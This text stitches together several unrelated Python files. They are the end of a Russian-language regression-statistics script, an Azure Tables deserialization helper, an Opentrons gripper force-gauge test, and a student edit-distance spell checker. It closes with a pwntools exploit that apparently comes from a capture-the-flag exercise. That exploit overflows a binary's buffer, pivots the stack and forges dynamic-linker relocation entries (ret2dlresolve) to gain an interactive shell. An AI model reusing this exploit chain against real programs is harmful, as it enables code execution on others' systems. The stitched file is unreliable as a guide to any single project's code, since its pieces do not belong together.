            print('Преобразование статистики следа к хи-квадрат статистике: {0}\n\
            Значение квантили хи-квадрат распределения есть {1}'.format(our, chi))
    hypot([1])
    hypot([2])
    hypot([1, 2])
    hypot([1, 2, 3])

    #part 5
    print('Вычислим предсказанные значения откликов и остатки')
    prediction = np.dot(X, mnk)
    def draw(number):
        import matplotlib.pyplot as plt

        x_axe = [i for i in range(ct.n)]
        plt.plot(x_axe, Work[:,number], x_axe, prediction[:,number])

        plt.plot(x_axe, Work[:,number]-prediction[:,number])
        plt.show()
    draw(2)
np.random.seed(1234)
main()


# -------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
# --------------------------------------------------------------------------
from typing import Union, Dict, Any, Optional

from uuid import UUID
import logging
from datetime import datetime, timezone

from ._entity import EntityProperty, EdmType, TableEntity
from ._common_conversion import _decode_base64_to_bytes

_LOGGER = logging.getLogger(__name__)

try:
    from urllib.parse import quote
except ImportError:
    from urllib2 import quote  # type: ignore

class TablesEntityDatetime(datetime):
    @property
    def tables_service_value(self):
        try:
            return self._service_value
        except AttributeError:
            return ""

def url_quote(url):
    return quote(url)

def get_enum_value(value):
    if value is None or value in ["None", ""]:
        return None
    try:
        return value.value
    except AttributeError:
        return value

def _from_entity_binary(value: str) -> bytes:
    return _decode_base64_to_bytes(value)

def _from_entity_int32(value: str) -> int:
    return int(value)

def _from_entity_int64(value: str) -> EntityProperty:
    return EntityProperty(int(value), EdmType.INT64)

def _from_entity_datetime(value):
    # Cosmos returns this with a decimal point that throws an error on deserialization
    cleaned_value = clean_up_dotnet_timestamps(value)
    try:
        dt_obj = TablesEntityDatetime.strptime(cleaned_value, "%Y-%m-%dT%H:%M:%S.%fZ").replace(tzinfo=timezone.utc)
    except ValueError:
        dt_obj = TablesEntityDatetime.strptime(cleaned_value, "%Y-%m-%dT%H:%M:%SZ").replace(tzinfo=timezone.utc)
    dt_obj._service_value = value  # pylint:disable=protected-access,assigning-non-slot
    return dt_obj

def clean_up_dotnet_timestamps(value):
    # .NET has more decimal places than Python supports in datetime objects, this truncates
    # values after 6 decimal places.
    value = value.split(".")
    ms = ""
    if len(value) == 2:
        ms = value[-1].replace("Z", "")
        if len(ms) > 6:
            ms = ms[:6]
        ms = ms + "Z"
        return ".".join([value[0], ms])

    return value[0]

def deserialize_iso(value):
    if not value:
        return value
    return _from_entity_datetime(value)

def _from_entity_guid(value):
    return UUID(value)

def _from_entity_str(value: Union[str, bytes]) -> str:
    if isinstance(value, bytes):
        return value.decode("utf-8")
    return value

_EDM_TYPES = [
    EdmType.BINARY,
    EdmType.INT64,
    EdmType.GUID,
    EdmType.DATETIME,
    EdmType.STRING,
    EdmType.INT32,
    EdmType.DOUBLE,
    EdmType.BOOLEAN,
]

_ENTITY_TO_PYTHON_CONVERSIONS = {
    EdmType.BINARY: _from_entity_binary,
    EdmType.INT32: _from_entity_int32,
    EdmType.INT64: _from_entity_int64,
    EdmType.DOUBLE: float,
    EdmType.DATETIME: _from_entity_datetime,
    EdmType.GUID: _from_entity_guid,
    EdmType.STRING: _from_entity_str,
}

def _convert_to_entity(entry_element):
    """Convert json response to entity.
    The entity format is:
    {
       "Address":"Mountain View",
       "Age":23,
       "AmountDue":200.23,
       "CustomerCode@odata.type":"Edm.Guid",
       "CustomerCode":"c9da6455-213d-42c9-9a79-3e9149a57833",
       "CustomerSince@odata.type":"Edm.DateTime",
       "CustomerSince":"2008-07-10T00:00:00",
       "IsActive":true,
       "NumberOfOrders@odata.type":"Edm.Int64",
       "NumberOfOrders":"255",
       "PartitionKey":"my_partition_key",
       "RowKey":"my_row_key"
    }

    :param entry_element: The entity in response.
    :type entry_element: Mapping[str, Any]
    :return: An entity dict with additional metadata.
    :rtype: dict[str, Any]
    """
    entity = TableEntity()

    properties = {}
    edmtypes = {}
    odata = {}

    for name, value in entry_element.items():
        if name.startswith("odata."):
            odata[name[6:]] = value
        elif name.endswith("@odata.type"):
            edmtypes[name[:-11]] = value
        else:
            properties[name] = value

    # Partition key is a known property
    partition_key = properties.pop("PartitionKey", None)
    if partition_key:
        entity["PartitionKey"] = partition_key

    # Row key is a known property
    row_key = properties.pop("RowKey", None)
    if row_key:
        entity["RowKey"] = row_key

    # Timestamp is a known property
    timestamp = properties.pop("Timestamp", None)

    for name, value in properties.items():
        mtype = edmtypes.get(name)

        # Add type for Int32/64
        if isinstance(value, int) and mtype is None:
            mtype = EdmType.INT32

            if value >= 2**31 or value < (-(2**31)):
                mtype = EdmType.INT64

        # Add type for String
        try:
            if isinstance(value, unicode) and mtype is None:  # type: ignore
                mtype = EdmType.STRING
        except NameError:
            if isinstance(value, str) and mtype is None:
                mtype = EdmType.STRING

        # no type info, property should parse automatically
        if not mtype:
            entity[name] = value
        elif mtype in [EdmType.STRING, EdmType.INT32]:
            entity[name] = value
        else:  # need an object to hold the property
            convert = _ENTITY_TO_PYTHON_CONVERSIONS.get(mtype)
            if convert is not None:
                new_property = convert(value)
            else:
                new_property = EntityProperty(mtype, value)
            entity[name] = new_property

    # extract etag from entry
    etag = odata.pop("etag", None)
    odata.pop("metadata", None)
    if timestamp:
        if not etag:
            etag = "W/\"datetime'" + url_quote(timestamp) + "'\""
        timestamp = _from_entity_datetime(timestamp)
    odata.update({"etag": etag, "timestamp": timestamp})
    entity._metadata = odata  # pylint: disable=protected-access
    return entity

def _extract_etag(response):
    """Extracts the etag from the response headers.

    :param response: The PipelineResponse object.
    :type response: ~azure.core.pipeline.PipelineResponse
    :return: The etag from the response headers
    :rtype: str or None
    """
    if response and response.headers:
        return response.headers.get("etag")

    return None

def _extract_continuation_token(continuation_token):
    """Extract list entity continuation headers from token.

    :param Dict(str,str) continuation_token: The listing continuation token.
    :returns: The next partition key and next row key in a tuple
    :rtype: (str,str)
    """
    if not continuation_token:
        return None, None
    try:
        return continuation_token.get("PartitionKey"), continuation_token.get("RowKey")
    except AttributeError as exc:
        raise ValueError("Invalid continuation token format.") from exc

def _normalize_headers(headers):
    normalized = {}
    for key, value in headers.items():
        if key.startswith("x-ms-"):
            key = key[5:]
        normalized[key.lower().replace("-", "_")] = get_enum_value(value)
    return normalized

def _return_headers_and_deserialized(response, deserialized, response_headers):  # pylint: disable=unused-argument
    return _normalize_headers(response_headers), deserialized

def _return_context_and_deserialized(response, deserialized, response_headers):  # pylint: disable=unused-argument
    return response.context["location_mode"], deserialized, response_headers

def _trim_service_metadata(metadata: Dict[str, str], content: Optional[Dict[str, Any]] = None) -> Dict[str, Any]:
    result = {
        "date": metadata.pop("date", None),
        "etag": metadata.pop("etag", None),
        "version": metadata.pop("version", None),
    }
    preference = metadata.pop("preference_applied", None)
    if preference:
        result["preference_applied"] = preference
        result["content"] = content  # type: ignore
    return result


"""Test Force."""
from asyncio import sleep
from typing import List, Union, Tuple, Optional

from opentrons.hardware_control.ot3api import OT3API
from opentrons.hardware_control.types import GripperJawState

from hardware_testing.drivers import find_port, list_ports_and_select
from hardware_testing.drivers.mark10 import Mark10, SimMark10
from hardware_testing.data.csv_report import (
    CSVReport,
    CSVLine,
    CSVResult,
    CSVLineRepeating,
)

from hardware_testing.data import ui
from hardware_testing.opentrons_api import helpers_ot3
from hardware_testing.opentrons_api.types import OT3Axis, OT3Mount, Point

SLOT_FORCE_GAUGE = 4
GRIP_HEIGHT_MM = 120

FAILURE_THRESHOLD_PERCENTAGE = 10
GRIP_FORCES_NEWTON: List[int] = [5, 10, 15, 20]

NUM_DUTY_CYCLE_TRIALS = 5
GRIP_DUTY_CYCLES: List[int] = [6, 8, 10, 12, 15, 20, 30, 40, 50]

def _get_test_tag(
    newtons: Optional[int] = None, duty_cycle: Optional[int] = None
) -> str:
    if newtons and duty_cycle:
        raise ValueError("must measure either force or duty-cycle, not both")
    if newtons is None and duty_cycle is None:
        raise ValueError("both newtons and duty-cycle are None")
    if newtons is not None:
        return f"{newtons}-newtons"
    else:
        return f"{duty_cycle}-duty-cycle"

def _get_gauge(is_simulating: bool) -> Union[Mark10, SimMark10]:
    if is_simulating:
        return SimMark10()
    else:
        try:
            port = find_port(*Mark10.vid_pid())
        except RuntimeError:
            port = list_ports_and_select("Mark10 Force Gauge")
        print(f"Setting up force gauge at port: {port}")
        return Mark10.create(port=port)

def _get_force_gauge_hover_and_grip_positions(api: OT3API) -> Tuple[Point, Point]:
    grip_pos = helpers_ot3.get_slot_calibration_square_position_ot3(SLOT_FORCE_GAUGE)
    grip_pos += Point(z=GRIP_HEIGHT_MM)
    hover_pos = grip_pos._replace(z=api.get_instrument_max_height(OT3Mount.GRIPPER))
    return hover_pos, grip_pos

def build_csv_lines() -> List[Union[CSVLine, CSVLineRepeating]]:
    """Build CSV Lines."""
    lines: List[Union[CSVLine, CSVLineRepeating]] = list()
    for force in GRIP_FORCES_NEWTON:
        tag = _get_test_tag(newtons=force)
        lines.append(CSVLine(tag, [int, float, CSVResult]))
    for duty_cycle in GRIP_DUTY_CYCLES:
        tag = _get_test_tag(duty_cycle=duty_cycle)
        lines.append(CSVLine(tag, [int, float, CSVResult]))
    return lines

async def _read_average_force_from_gauge(
    gauge: Union[Mark10, SimMark10], length: int = 10, interval: float = 0.25
) -> float:
    n = list()
    for _ in range(length):
        n.append(gauge.read_force())
        if not gauge.is_simulator():
            await sleep(interval)
    return sum(n) / float(length)

async def _grip_and_read_force(
    api: OT3API,
    gauge: Union[Mark10, SimMark10],
    force: Optional[int] = None,
    duty: Optional[int] = None,
) -> float:
    if duty is not None:
        await api._grip(duty_cycle=float(duty))
        api._gripper_handler.set_jaw_state(GripperJawState.GRIPPING)
    else:
        assert force is not None
        await api.grip(float(force))
    if gauge.is_simulator():
        if duty is not None:
            gauge.set_simulation_force(float(duty) * 0.5)  # type: ignore[union-attr]
        elif force is not None:
            gauge.set_simulation_force(float(force))  # type: ignore[union-attr]
    if not api.is_simulator:
        await sleep(2)
    ret = await _read_average_force_from_gauge(gauge)
    await api.ungrip()
    return ret

async def run(api: OT3API, report: CSVReport, section: str) -> None:
    """Run."""
    z_ax = OT3Axis.Z_G
    g_ax = OT3Axis.G
    mount = OT3Mount.GRIPPER

    # OPERATOR SETS UP GAUGE
    ui.print_header("SETUP FORCE GAUGE")
    if not api.is_simulator:
        ui.get_user_ready(f"add gauge to slot {SLOT_FORCE_GAUGE}")
        ui.get_user_ready("plug gauge into USB port on OT3")
    gauge = _get_gauge(api.is_simulator)
    gauge.connect()

    # HOME
    print("homing Z and G...")
    await api.home([z_ax, g_ax])
    # MOVE TO GAUGE
    await api.ungrip()
    hover_pos, _ = _get_force_gauge_hover_and_grip_positions(api)
    target_pos = Point(x=64.0, y=123.3, z=67.6)
    await helpers_ot3.move_to_arched_ot3(api, mount, target_pos._replace(z=87.6))
    if not api.is_simulator:
        ui.get_user_ready("please make sure the gauge in the middle of the gripper")
    await api.move_to(mount, target_pos)
    if not api.is_simulator:
        ui.get_user_ready("prepare to grip")

    # LOOP THROUGH FORCES
    ui.print_header("MEASURE NEWTONS")
    for expected_force in GRIP_FORCES_NEWTON:
        # GRIP AND MEASURE FORCE
        actual_force = await _grip_and_read_force(api, gauge, force=expected_force)
        print(f"gripping at {expected_force} N = {actual_force} N")
        error = (actual_force - expected_force) / expected_force
        result = CSVResult.from_bool(abs(error) * 100 < FAILURE_THRESHOLD_PERCENTAGE)
        tag = _get_test_tag(newtons=expected_force)
        report(section, tag, [expected_force, actual_force, result])
    # LOOP THROUGH DUTY-CYCLES
    ui.print_header("MEASURE DUTY-CYCLES")
    for duty_cycle in GRIP_DUTY_CYCLES:
        # GRIP AND MEASURE FORCE
        print(f"gripping at {duty_cycle}% duty cycle")
        found_forces = list()
        # take 2x extra samples, because we'll remove min/max later
        for i in range(NUM_DUTY_CYCLE_TRIALS + 2):
            actual_force = await _grip_and_read_force(api, gauge, duty=duty_cycle)
            print(f" - trial {i + 1}/{NUM_DUTY_CYCLE_TRIALS} = {actual_force} N")
            found_forces.append(actual_force)
        # remove min/max forces
        forces_without_outliers = sorted(found_forces)[1:-1]
        # calculate average
        actual_force = sum(forces_without_outliers) / float(NUM_DUTY_CYCLE_TRIALS)
        print(f"average = {actual_force} N")
        tag = _get_test_tag(duty_cycle=duty_cycle)
        report(section, tag, [duty_cycle, actual_force, CSVResult.PASS])
    # RETRACT
    print("done")
    await helpers_ot3.move_to_arched_ot3(api, mount, hover_pos)


# CS5 Black, Lab 3
# Filename: hw3pr1.py
# Name: Dylan McGarvey
# Problem description:

import time

def ED(first, second):
   '''Returns the edit distance between the strings first and second.'''
   if first == '':
      return len(second)
   elif second == '':
      return len(first)
   elif first[0] == second[0]:
      return ED(first[1:], second[1:])
   else:
      substitution = 1 + ED(first[1:], second[1:])
      deletion = 1 + ED(first[1:], second)
      insertion = 1 + ED(first, second[1:])
      return min(substitution, deletion, insertion)

def fastED(S1, S2, memo):
    'takes in two strings and returns the number of edits required to make them the same string'
    if (S1,S2) in memo: return memo[(S1,S2)]
    elif S1 == '':
        return len(S2)
    elif S2 == '':
        return len(S1)
    elif S1[0] == S2[0]:
        result = fastED(S1[1:], S2[1:], memo)
        memo[(S1,S2)] = result
        return result
    else:
        substitution = 1 + fastED(S1[1:], S2[1:], memo)
        deletion = 1 + fastED(S1[1:], S2, memo)
        insertion = 1 + fastED(S1, S2[1:], memo)
        result = min(substitution, deletion, insertion)
        memo[(S1,S2)] = result
        return result

def topNmatches(word, nummatches, ListOfWords):
    'returns a list of length nummatches that have the lowest edit distance from word that are in ListOfWords'
    Dists = list(map(lambda x: fastED(x, word, {}), ListOfWords))
    aList = [ (Dists[i], ListOfWords[i]) for i in range(len(ListOfWords)) ] #
    aList.sort() #orders aList by Edit Distance
    bList = aList[:nummatches]
    cList = [ (bList[i][1]) for i in range(len(bList))]
    cList.sort() #orders cList alphabetically
    return cList

def spam():
    " docstring "
    f = open("3esl.txt")
    contents = f.read()
    words = contents.split("\n")
    userInput = input("spell check> ")
    if userInput in words:
        return print('Correct')
    else:
        print('Suggested alternatives:')
        startTime = time.time()
        for i in topNmatches(userInput, 10, words):
            print(i)
        endTime = time.time()
        print('Computation time:', endTime - startTime, 'seconds')


from pwn import *

elf = ELF('bof')
r=process('./bof')
rop=ROP('./bof')

offset=112
bss_addr=elf.bss()

stack_size=0x800
base_stage=bss_addr+stack_size

rop.raw('a'*offset)
rop.read(0,base_stage,100)
rop.migrate(base_stage)
r.sendline(rop.chain())

rop=ROP('./bof')
sh="/bin/sh"
dynsym=elf.get_section_by_name('.dynsym').header.sh_addr
dynstr=elf.get_section_by_name('.dynstr').header.sh_addr
plt0=elf.get_section_by_name('.plt').header.sh_addr
rel_plt=elf.get_section_by_name('.rel.plt').header.sh_addr
index_offset=base_stage+24-rel_plt
write_got=elf.got['write']
fake_sym_addr=base_stage+32

align=0x10-((fake_sym_addr-dynsym)&0xf)
fake_sym_addr=fake_sym_addr+align
index_dynsym=(fake_sym_addr-dynsym)/0x10
st_name=fake_sym_addr + 0x10 - dynstr
fake_write_sym=flat([st_name,0,0,0x12])

r_info=(index_dynsym<<8)| 0x7
fake_write_reloc=flat([write_got,r_info])

rop.raw(plt0)
rop.raw(index_offset)
rop.raw('bbbb')
rop.raw(1)
rop.raw(base_stage+80)
rop.raw(len(sh))
rop.raw(fake_write_reloc)
rop.raw('a'*align)
rop.raw(fake_write_sym)
rop.raw('write\x00')
rop.raw('a'*(80-len(rop.chain())))

rop.raw(sh)
rop.raw('a'*(100-len(rop.chain())))

r.sendline(rop.chain())
r.interactive()